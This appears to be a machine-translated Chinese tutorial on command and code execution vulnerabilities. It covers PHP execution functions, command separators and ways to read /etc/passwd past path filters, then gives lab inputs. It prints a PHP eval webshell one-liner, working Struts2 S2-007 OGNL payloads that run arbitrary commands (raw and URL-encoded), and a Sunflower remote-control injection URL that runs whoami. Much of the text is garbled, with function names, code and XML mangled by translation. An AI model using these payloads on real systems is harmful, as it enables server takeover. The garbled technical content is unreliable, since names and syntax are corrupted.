一、概述
命令执行(RCE):应用程序可能需要调用PHP 中执行系统命令的函数,例如system、exec、shell exec、passthru、popen、proc popen,但用户不必为这些函数指定参数。它是可以控制的,它是恶意的。系统命令与常规命令相结合来创建命令执行攻击。这是一个命令执行漏洞。
二、利用条件
1 应用程序调用执行系统命令的函数。
2 将用户输入组合为命令行上的系统向导参数。
3 不过滤用户输入
三、漏洞分类
1.缺乏代码层面严格的过滤
商业应用程序的一些核心代码被封装在二进制文件中,并通过Web应用程序的系统函数进行调用。
系统(\’/bin/program–arg $arg\’);
2 系统漏洞导致命令注入
示例:破坏bash shell 的漏洞(cve-2014-6271)
名为3 的第三方组件中存在代码执行漏洞。
imagemagick组件用于在WordPress等中处理图像。
Java中的命令执行漏洞(struts2/elasticsearchgroovy等)
执行thinkphp命令
4 远程命令执行漏洞(命令被执行)
这意味着用户通过浏览器发送执行操作命令,而服务器端并没有过滤执行函数,因此恶意命令被执行。
5 远程代码执行漏洞(代码执行)
也称为代码注入漏洞,是指用户通过浏览器发送恶意脚本代码并执行恶意构造的脚本代码。
三、命令执行漏洞攻击
命令连接符(windows)
|| 区别:
:不管左边为假还是为真,右边都执行(可以同时执行多个命令)
:左边不行,右边也跑不了。
|: 两者都是正确的。仅运行右侧的命令。
||:如果左边为假,则执行右边。
命令连接符(Linux)
:后台运行(杀进程命令:kill -s 9)
;连接器
:左侧运行成功后,右侧运行。
|| : 左侧错误。做右侧。
五、PHP执行系统命令内置函数
系统()
执行()
shell_exec()
直通()
pcntl_exec()
波彭()
proc_open()
六、绕过方式
注意:在Linux 上,passwd 是一个命令,而/etc/passwd 是一个文件。
情景一:路径被过滤
# 使用通配符
*: 多种的
? 一
#特殊方式
#/\’
# 未初始化的变量$a(类似于空格)
猫$a /etc$a/passwd$a
七、pikachu靶场测试
命令执行漏洞
# 输入
| 目录
代码执行漏洞
# 输入
系统(\’ipconfig\’);
代码执行漏洞-写入木马示例
# 命令示例:
echo \’?php @eval($_POST[\’cmd\’])?\’
七、漏洞复现-struts2-S2-007
使用靶场:https://vulhub.org/关于搭建靶场的文档:https://vulhub.org/#/docs/关于漏洞复现的文档:
# 原则
参考http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerability.html
如果配置了验证规则“ActionName-validation.xml”并且类型验证转换遇到错误,则后端默认将用户提交的表单值与字符串连接起来并执行OGNL表达式的解析返回。例如,UserAction 是:
“Java
(.)
公共类UserAction 扩展ActionSupport {
私人整数年龄。
私有字符串名称。
私人字符串电子邮件。
(.)
接下来,配置UserAction-validation.xml。
?xml 版本=\’1.0\’ 编码=\’UTF-8\’ ?
!DOCTYPE 验证器PUBLIC
\’-//OpenSymphony Group//XWork 验证器1.0//EN\’
“http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd”
验证器
字段名称=\’年龄\’
字段验证器类型=\’int\’
参数名称=\’min\’1/参数
参数名称=\’max\’150/参数
/字段验证器
/场地
/验证器
当用户将年龄作为字符串而不是整数值发送时,后端使用代码连接“”+值+“”并使用OGNL 表达式对其进行解析。要利用它,只需找到一个具有类似验证规则的表单字段,该规则会导致转换错误。您可以使用类似于单引号串联SQLi 注入的方法注入任何OGNL 表达式。
受影响的版本为Struts2 2.0.0到Struts2 2.2.3,因此绕过命令执行安全配置的payload为(炸弹计算器无法在此项目环境中运行):
\’ + (#_memberAccess[\’allowStaticMethodAccess\’]=true,#foo=new java.lang.Boolean(\’false\’) ,#context[\’xwork.MethodAccessor.denyMethodExecution\’]=#foo,@java.lang.Runtime@ getRuntime().exec(\’打开/Applications/Calculator.app\’)) + \’
Exploit
@rickgray 在原文章中只给出了轰炸计算器的POC,而我给出了运行任意代码的体验。
\’ + (#_memberAccess[\’allowStaticMethodAccess\’]=true,#foo=new java.lang.Boolean(\’false\’) ,#context[\’xwork.MethodAccessor.denyMethodExecution\’]=#foo,@org.apache.commons. io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(\’id\’).getInputStream())) + \’
将Exp 传递到可用的输入框(age)中以获取运行命令的结果。
25,0-1 88%
– 播放过程:
– 启动一个docker容器:`docker-compose up -d`
– 显示Dock容器的启动端口:`docker ps`
![image.png](https://cdn.nlark.com/yuque/0/2024/png/38516294/1719459325055-73add876-ff67-4ef6-91a0-200153007a8c.png#averageHue=%23252220clientId=u40555cc 2 -d63d -4从=高粘贴=43id=u70fd076aoriginHeight=43originWidth=1178originalType=binaryratio=1rotation=0showTitle=falsesize=5407status=donestyle=nonetaskId=u3034b2b4-15f5-44c4-96d9-32038db9c5btitle=width=117 8)
– 显示Dock容器启动端口:访问端口8080
![image.png](https://cdn.nlark.com/yuque/0/2024/png/38516294/1719459373868-883f650e-69ef-47f2-b041-30b126737737.png#averageHue=%23d2d1d1clientId=u405 5cc2-d6 3d-4from=粘贴高度=417id=uc8c5fc8aoriginHeight=417originWidth=726originalType=binaryratio=1rotation=0showTitle=falsesize=19204status=donestyle=nonetaskId=ucfc9b5a3-fea3-41b5-ba07-92410a64e34title=宽度=726)
– 传递文档中的参数编码并抓包
-br/
““外壳
# URL编码URL:https://www.qianbo.com.cn/Tool/Url-Encode.html
# 酱
\’ + (#_memberAccess[\’allowStaticMethodAccess\’]=true,#foo=new java.lang.Boolean(\’false\’) ,#context[\’xwork.MethodAccessor.denyMethodExecution\’]=#foo,@org.apache.commons. io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(\’id\’).getInputStream())) + \’
#编码后的结果
\’%20%2B%20(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context%5B%22xwork.MethodAccessor .denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(\’ls\’).getInputStream()))%20 %2B%20\’
结果:
七、向日葵漏洞
版本:11.0.0.33162
当您启动Sunflower 时,会启动超过40,000 个端口,并且可以通过nmap 进行扫描。
获取cookie URL:ip:端口cgi-bin/rpc?action=verify-haras(verify_string:参数值)
#注射:
http://xx.xx.xx.xx:xxxxx
/check?cmd=ping.%26c:%26%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2Fwindows %2Fsystem32%2Fwhoami
或者
http://xx.xx.xx.xx:
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92543.html